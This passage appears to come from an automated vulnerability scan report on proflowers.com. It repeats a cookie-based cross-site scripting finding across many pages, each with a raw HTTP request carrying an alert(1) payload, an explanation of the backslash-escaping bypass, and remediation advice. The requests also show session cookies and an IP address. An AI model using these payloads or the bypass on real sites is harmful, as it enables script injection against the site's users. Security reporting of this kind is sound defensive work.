GET /pottedorchidsandexotics-poe HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d18367\"%3balert(1)//9f07bc600d1; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:52 GMT Connection: close Content-Length: 107101
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5965e\"%3balert(1)//ac9e906bf35 was submitted in the PFC_BrowserId cookie. This input was echoed as 5965e\\";alert(1)//ac9e906bf35 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /productcategoryselection.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d5965e\"%3balert(1)//ac9e906bf35; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:18 GMT Connection: close Content-Length: 57508
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 59f92\"%3balert(1)//8b99d798a49 was submitted in the PFC_BrowserId cookie. This input was echoed as 59f92\\";alert(1)//8b99d798a49 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /radio/default.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d59f92\"%3balert(1)//8b99d798a49; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:04:58 GMT Connection: close Content-Length: 12718
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19cc3\"%3balert(1)//8be358e2677 was submitted in the PFC_BrowserId cookie. This input was echoed as 19cc3\\";alert(1)//8be358e2677 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /romantic-flowers-lov HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d19cc3\"%3balert(1)//8be358e2677; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:18 GMT Connection: close Content-Length: 176193
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab5df\"%3balert(1)//30da2670348 was submitted in the PFC_BrowserId cookie. This input was echoed as ab5df\\";alert(1)//30da2670348 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses-ros HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dab5df\"%3balert(1)//30da2670348; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:05 GMT Connection: close Content-Length: 208396
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d1a6\"%3balert(1)//3baaba137a1 was submitted in the PFC_BrowserId cookie. This input was echoed as 6d1a6\\";alert(1)//3baaba137a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /seasonal-plants-pse HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d6d1a6\"%3balert(1)//3baaba137a1; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:36 GMT Connection: close Content-Length: 210168
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35338\"%3balert(1)//fb71781a83d was submitted in the PFC_BrowserId cookie. This input was echoed as 35338\\";alert(1)//fb71781a83d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /send-flowers-bsl HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d35338\"%3balert(1)//fb71781a83d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:02 GMT Connection: close Content-Length: 228512
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab7c8\"%3balert(1)//1ac64ef38a0 was submitted in the PFC_BrowserId cookie. This input was echoed as ab7c8\\";alert(1)//1ac64ef38a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /spa-baskets-spa HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dab7c8\"%3balert(1)//1ac64ef38a0; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:51 GMT Connection: close Content-Length: 117129
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f5681\"%3balert(1)//94fe6d45606 was submitted in the PFC_BrowserId cookie. This input was echoed as f5681\\";alert(1)//94fe6d45606 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /sunflowers-sun HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0df5681\"%3balert(1)//94fe6d45606; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:23 GMT Connection: close Content-Length: 66816
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c108\"%3balert(1)//55972cb8c5 was submitted in the PFC_BrowserId cookie. This input was echoed as 8c108\\";alert(1)//55972cb8c5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /sympathy-flowers-gifts-sym HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d8c108\"%3balert(1)//55972cb8c5; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:43 GMT Connection: close Content-Length: 187008
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3cb0\"%3balert(1)//9d82a329407 was submitted in the PFC_BrowserId cookie. This input was echoed as e3cb0\\";alert(1)//9d82a329407 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /teddy-bears-gifts-plu HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0de3cb0\"%3balert(1)//9d82a329407; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:16 GMT Connection: close Content-Length: 89733
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a4c0f\"%3balert(1)//a2cf538b383 was submitted in the PFC_BrowserId cookie. This input was echoed as a4c0f\\";alert(1)//a2cf538b383 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
